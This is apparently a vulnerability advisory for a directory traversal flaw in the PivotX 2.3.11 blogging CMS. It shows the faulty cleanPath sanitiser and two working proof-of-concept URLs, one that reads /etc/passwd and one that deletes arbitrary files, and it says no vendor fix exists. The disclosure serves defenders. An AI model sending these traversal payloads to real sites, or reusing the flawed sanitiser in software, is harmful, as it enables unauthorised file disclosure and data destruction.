    2. Overview
    
    PivotX is a CMS for blogging written in PHP. In version 2.3.11, it is
    vulnerable to Directory Traversal, allowing authenticated users to read and
    delete files outside of the PivotX directory.
    
    3. Details
    
    Description
    
    CVSS: Medium 4.0 AV:N/AC:L/Au:S/C:P/I:N/A:N
    
    The function cleanPath which is responsible for sanitizing path names can be
    bypassed by an attacker, leading to directory traversal in multiple places.
    
    Proof of Concept
    
    Admins and Superadmins can read any file:
    
    http://localhost/pivotx_latest/pivotx/ajaxhelper.php?function=view&basedir=
    L3Zhci93d3cvcGl2b3R4X2xhdGVzdC9CYXNlZGlyLwo=&file=../.....//...//.....//.../
    /.....//...//.....//...//.....//...//.....//...//etc/passwd
    
    Advanced users, Admins and Superadmins can delete any file, possibly leading to
    DOS:
    
    http://localhost/pivotx_latest/pivotx/index.php?page=media&del=.....//.../
    /.....//...//.....//...//.....//...//.....//...//.....//...//important/
    important.file&pivotxsession=ovyyn4ob2jc5ym92
    
    Code
    
    lib.php
    function cleanPath($path) {
    $path = str_replace('../', '', $path);
    $path = str_replace('..\\', '', $path);
    $path = str_replace('..'.DIRECTORY_SEPARATOR, '', $path);
    return $path;
    }
    
    4. Solution
    
    This issue was not fixed by the vendor.
